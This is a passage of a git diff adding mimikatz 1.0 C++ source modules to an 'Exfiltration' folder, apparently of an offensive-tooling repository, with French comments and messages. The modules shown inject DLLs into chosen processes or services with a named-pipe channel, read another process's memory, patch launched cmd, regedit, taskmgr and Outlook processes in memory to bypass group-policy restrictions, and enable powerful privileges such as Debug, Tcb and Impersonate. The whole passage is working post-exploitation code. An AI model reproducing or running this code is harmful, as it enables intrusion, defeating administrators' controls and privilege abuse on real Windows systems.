L").th32ProcessID = " << monProcess.th32ProcessID << endl; + injectInPid(monProcess.th32ProcessID, fullLib); + } + else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl; + + return true; +} + +bool mod_mimikatz_inject::service(vector<wstring> * arguments) +{ + wstring serviceName = arguments->front(); + wstring fullLib = arguments->back(); + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + (*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl; + (*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl; + injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib); + } + else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl; + + return true; +} + +bool mod_mimikatz_inject::pid(vector<wstring> * arguments) +{ + wstring strPid = arguments->front(); + wstring fullLib = arguments->back(); + + DWORD pid; + wstringstream monStream(strPid); + monStream >> pid; + + injectInPid(pid, fullLib, !(arguments->size() >= 3)); + + return true; +} + +bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm) +{ + bool reussite = false; + + if(!isComm || (isComm && !monCommunicator)) + { + if(reussite = mod_inject::injectLibraryInPid(pid, &libPath)) + { + if(isComm) + { + wstring monBuffer = L""; + + monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); + (*outputStream) << L"Attente de connexion du client..." << endl; + + if(monCommunicator->createServer()) + { + (*outputStream) << L"Serveur connecté ŕ un client !" << endl; + if(monCommunicator->readFromPipe(monBuffer)) + { + (*outputStream) << L"Message du processus :" << endl << monBuffer << endl; + } + else + { + (*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl; + closeThisCommunicator(); + } + } + else + { + (*outputStream) << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl; + closeThisCommunicator(); + } + } + else + (*outputStream) << L"Injecté sans communication (legacy)" << endl; + } else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Erreur : un canal de communicaton est déjŕ ouvert" << endl; + + return reussite; +} + + +bool mod_mimikatz_inject::closeThisCommunicator() +{ + if(monCommunicator) + { + (*outputStream) << L"Fermeture du canal de communication" << endl; + delete monCommunicator; + monCommunicator = NULL; + } + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h new file mode 100644 index 0000000..92b4884 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_inject.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_service.h" +#include "mod_pipe.h" +#include <iostream> + +class mod_mimikatz_inject +{ +private: + static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true); + static void startComm(); + +public: + static mod_pipe * monCommunicator; + static bool closeThisCommunicator(); + + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool pid(vector<wstring> * arguments); + static bool process(vector<wstring> * arguments); + static bool service(vector<wstring> * arguments); + + static bool injectlegacy(vector<wstring> * arguments); + +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp new file mode 100644 index 0000000..0d61227 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_minesweeper.h" +#include "..\global.h" + +char DISP_MINESWEEPER[] = "012345678.F? !!"; + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_minesweeper::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours")); + return monVector; +} + +bool mod_mimikatz_minesweeper::infos(vector<wstring> * arguments) +{ + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + STRUCT_MINESWEEPER_GAME monGame; + if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper)) + { +#ifdef _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber >= 7000) + monGame.pBoard = monGame.pBoard_WIN7x86; +#endif + STRUCT_MINESWEEPER_BOARD monBoard; + if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper)) + { + (*outputStream) << L"Mines : " << monBoard.nbMines << endl << + L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl << + L"Champ : " << endl << endl; + + char ** monTableau; + monTableau = new char*[monBoard.nbLignes]; + for(DWORD l = 0; l < monBoard.nbLignes; l++) + monTableau[l] = new char[monBoard.nbColonnes]; + + parseField(maStruct, monBoard.ref_visibles, monTableau, true); + parseField(maStruct, monBoard.ref_mines, monTableau, false); + + for(DWORD l = 0; l < monBoard.nbLignes; l++) + { + (*outputStream) << L'\t'; + for(DWORD c = 0; c < monBoard.nbColonnes; c++) + (*outputStream) << monTableau[l][c] << L' '; + (*outputStream) << endl; + delete[] monTableau[l]; + } + delete[] monTableau; + } else (*outputStream) << L"Impossible de lire les données du plateau" << endl; + } else (*outputStream) << L"Impossible de lire les données du jeu" << endl; + CloseHandle(maStruct->hMineSweeper); + } + delete maStruct; + + return true; +} + +bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible) +{ + DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE); + + STRUCT_MINESWEEPER_REF_ELEMENT maRefElements; + if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements]; + if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + for(DWORD c = 0; c < maRefElements.nbElements; c++) + { + STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement; + if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + void * cellules = isVisible ? reinterpret_cast<void *>(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast<void *>(new BYTE[maRefColonneElement.nbElements]); + if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper)) + { + for(DWORD l = 0; l < maRefColonneElement.nbElements; l++) + { + if(isVisible) + monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast<DWORD *>(cellules)[l]]; + else + if(reinterpret_cast<BYTE *>(cellules)[l]) monTableau[l][c] = '*'; + } + } else (*outputStream) << L"Impossible de lire les élements de la colonne : " << c << endl; + delete[] cellules; + } else (*outputStream) << L"Impossible de lire les références de la colonne : " << c << endl; + } + } else (*outputStream) << L"Impossible de lire les références des colonnes" << endl; + delete[] ref_colonnes_elements; + } else (*outputStream) << L"Impossible de lire les références de l\'élement" << endl; + + return true; +} + +bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) +{ +#ifdef _M_X64 + BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8}; + LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1); +#elif defined _M_IX86 + BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8}; + LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1; +#endif + RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); + + wstring nomDemineur(L"minesweeper.exe"); + mod_process::KIWI_PROCESSENTRY32 monDemineur; + if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) + { + monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID; + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) + { + PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; + if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper)) + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper)) + { +#ifdef _M_X64 + long offsetTemp = 0; + if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper)) + mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); +#elif defined _M_IX86 + if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper)) + mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); +#endif + } + } + } + + bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G; + + if(!reussite && monHandleAndAddr->hMineSweeper) + CloseHandle(monHandleAndAddr->hMineSweeper); + + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h new file mode 100644 index 0000000..f80be46 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_system.h" +#include <iostream> + +class mod_mimikatz_minesweeper +{ +private: + typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT { + DWORD nbElements; + DWORD unk0; + DWORD unk1; + PVOID elements; + DWORD unk2; + DWORD unk3; + } STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT; + + typedef struct _STRUCT_MINESWEEPER_BOARD { + PVOID Serializer; + DWORD nbMines; + DWORD nbLignes; + DWORD nbColonnes; + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD unk3; + DWORD unk4; + DWORD unk5; + DWORD unk6; + DWORD unk7; + DWORD unk8; + DWORD unk9; +#ifdef _M_X64 + DWORD unk_x64; +#endif + DWORD unk10; + PVOID unk11; + PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles; + PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines; + DWORD unk12; + DWORD unk13; + } STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD; + + typedef struct _STRUCT_MINESWEEPER_GAME { + PVOID Serializer; + //PVOID pGameStat; on 7x86 + PVOID pNodeBase; + PVOID pBoardCanvas; + PSTRUCT_MINESWEEPER_BOARD pBoard; + PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86; + } STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME; + + typedef struct structHandleAndAddr{ + HANDLE hMineSweeper; + DWORD pidMineSweeper; + PVOID G; + } structHandleAndAddr; + + static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); + static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + static bool infos(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp new file mode 100644 index 0000000..bfc18f1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp @@ -0,0 +1,210 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_nogpo.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_nogpo::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un éditeur de registre, ignorant DisableRegistryTools")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst")); + return monVector; +} + +bool mod_mimikatz_nogpo::regedit(vector<wstring> * arguments) +{ + (*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::cmd(vector<wstring> * arguments) +{ + (*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::taskmgr(vector<wstring> * arguments) +{ + (*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::olpst(vector<wstring> * arguments) +{ + char szDisable[] = "DisablePst"; + char szKiwi[] = "KiwiAndPst"; + + wstring pathToOutlook; + + if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook)) + { + DWORD pidOutlook = 0; + bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook); + + (*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO"); + if(reussite) + { + mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast<BYTE *>(szDisable), sizeof(szDisable), reinterpret_cast<BYTE *>(szKiwi), sizeof(szKiwi)); + } + } else (*outputStream) << L"Outlook introuvable" << endl; + return true; +} + +bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path) +{ + bool reussite = false; + + DWORD regError; + + wstring pathToApplication = L"Software\\Classes\\"; + pathToApplication.append(application); + pathToApplication.append(L"\\CLSID"); + + HKEY hApplication; + + regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication); + if(regError == ERROR_SUCCESS) + { + DWORD ApplicationType = 0; + DWORD ApplicationSize = 0; + LPBYTE monGUID = NULL; + + regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); + if(regError == ERROR_SUCCESS) + { + if(ApplicationType == REG_SZ) + { + monGUID = new BYTE[ApplicationSize]; + + regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); + if(regError == ERROR_SUCCESS) + { + wstring regPathToPath = +#ifdef _M_X64 + L"Software\\Wow6432Node\\Classes\\CLSID\\"; +#elif defined _M_IX86 + L"Software\\Classes\\CLSID\\"; +#endif + regPathToPath.append(reinterpret_cast<wchar_t *>(monGUID)); + regPathToPath.append(L"\\LocalServer32"); + + HKEY hApplicationPath; + + regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath); + if(regError == ERROR_SUCCESS) + { + DWORD ApplicationPathType = 0; + DWORD ApplicationPathSize = 0; + LPBYTE monPath = NULL; + + regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); + if(regError == ERROR_SUCCESS) + { + if(ApplicationPathType == REG_SZ) + { + monPath = new BYTE[ApplicationPathSize]; + + regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); + if(reussite = (regError == ERROR_SUCCESS)) + { + path->assign(reinterpret_cast<wchar_t *>(monPath)); + } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; + delete[] monPath; + } else (*outputStream) << "Le type retourné par \'" << monPath << "\' n\'est pas : REG_SZ" << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; + RegCloseKey(hApplicationPath); + } else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; + delete[] monGUID; + } else (*outputStream) << "Le type retourné par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; + RegCloseKey(hApplication); + } else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl; + + return reussite; +} + + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID) +{ + bool reussite = false; + + PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION(); + if(mod_process::start(&commandLine, mesInfos, true)) + { + PEB * monPeb = new PEB(); + if(mod_process::getPeb(monPeb, mesInfos->hProcess)) + { + PBYTE patternAddr = NULL; + // Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment) + if(mod_memory::searchMemory(reinterpret_cast<PBYTE>(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess)) + { + if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess))) + { + (*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl; + + delete monPeb; + + if(!(ResumeThread(mesInfos->hThread) != -1)) + (*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl; + + if(monPID) + { + *monPID = mesInfos->dwProcessId; + } + + WaitForInputIdle(mesInfos->hProcess, INFINITE); + + CloseHandle(mesInfos->hThread); + CloseHandle(mesInfos->hProcess); + } + else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl; + + delete mesInfos; + + return reussite; +} + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID) +{ + bool reussite = false; + + if(origKey.size() == kiwiKey.size()) + { + SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t); + PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<wchar_t *>(origKey.c_str())); + const void * maCleFinale = kiwiKey.c_str(); + + reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); + } + else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl; + + return reussite; +} + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID) +{ + bool reussite = false; + + if(origKey.size() == kiwiKey.size()) + { + SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char); + PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<char *>(origKey.c_str())); + const void * maCleFinale = kiwiKey.c_str(); + + reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); + } + else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h new file mode 100644 index 0000000..c96e22f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h @@ -0,0 +1,30 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_patch.h" +#include <iostream> + +class mod_mimikatz_nogpo +{ +private: + static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL); + static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL); + static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL); + + static bool getApplicationPathFromCLSID(wstring application, wstring * path); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool regedit(vector<wstring> * arguments); + static bool cmd(vector<wstring> * arguments); + static bool taskmgr(vector<wstring> * arguments); + static bool olpst(vector<wstring> * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp new file mode 100644 index 0000000..1b29486 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp @@ -0,0 +1,167 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_privilege.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_privilege::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilčges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilčges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilčges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Désactive un ou plusieurs privilčges")); + /* Raccourçis */ + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou désactive) le privilčge Debug")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou désactive) le privilčge Security")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou désactive) le privilčge Tcb")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou désactive) le privilčge Impersonate")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou désactive) le privilčge AssignPrimaryToken")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou désactive) le privilčge Shutdown")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou désactive) le privilčge TakeOwnership")); + return monVector; +} + +bool mod_mimikatz_privilege::enable(vector<wstring> * arguments) +{ + bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED); + return true; +} + +bool mod_mimikatz_privilege::remove(vector<wstring> * arguments) +{ + bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED); + return true; +} + +bool mod_mimikatz_privilege::disable(vector<wstring> * arguments) +{ + bool reussite = multiplePrivs(arguments, 0); + return true; +} + +bool mod_mimikatz_privilege::simplePriv(wstring priv, vector<wstring> * arguments) +{ + bool ajout = arguments->empty(); + + (*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilčge : " << priv << L" : "; + + vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>; + mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0)); + + bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE); + delete mesPrivs; + + if(reussite) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return reussite; +} + +bool mod_mimikatz_privilege::multiplePrivs(vector<wstring> * privs, DWORD type) +{ + bool reussite = false; + vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>; + for(vector<wstring>::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++) + { + mesPrivs->push_back(make_pair(*monPrivilege, type)); + } + reussite = mod_privilege::set(mesPrivs); + delete mesPrivs; + + if(reussite) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return reussite; +} + + +bool mod_mimikatz_privilege::list(vector<wstring> * arguments) +{ + vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>; + + if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE)) + { + for(vector<pair<wstring, DWORD>>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++) + { + (*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t'; + + if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES) + { + if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT) + { + (*outputStream) << L"ENABLED_BY_DEFAULT "; + } + + if(monPrivilege->second & SE_PRIVILEGE_ENABLED) + { + (*outputStream) << L"ENABLED "; + } + + if(monPrivilege->second & SE_PRIVILEGE_REMOVED) + { + (*outputStream) << L"REMOVED "; + } + + if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS) + { + (*outputStream) << L"USED_FOR_ACCESS "; + } + + if(monPrivilege->second & SE_PRIVILEGE_REMOVED) + { + (*outputStream) << L"REMOVED"; + } + } + + (*outputStream) << endl; + } + } + else (*outputStream) << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_privilege::debug(vector<wstring> * arguments) +{ + simplePriv(SE_DEBUG_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::security(vector<wstring> * arguments) +{ + simplePriv(SE_SECURITY_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::tcb(vector<wstring> * arguments) +{ + simplePriv(SE_TCB_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::impersonate(vector<wstring> * arguments) +{ + simplePriv(SE_IMPERSONATE_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::assign(vector<wstring> * arguments) +{ + simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::shutdown(vector<wstring> * arguments) +{ + simplePriv(SE_SHUTDOWN_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::takeowner(vector<wstring> * arguments) +{ + simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true; +}
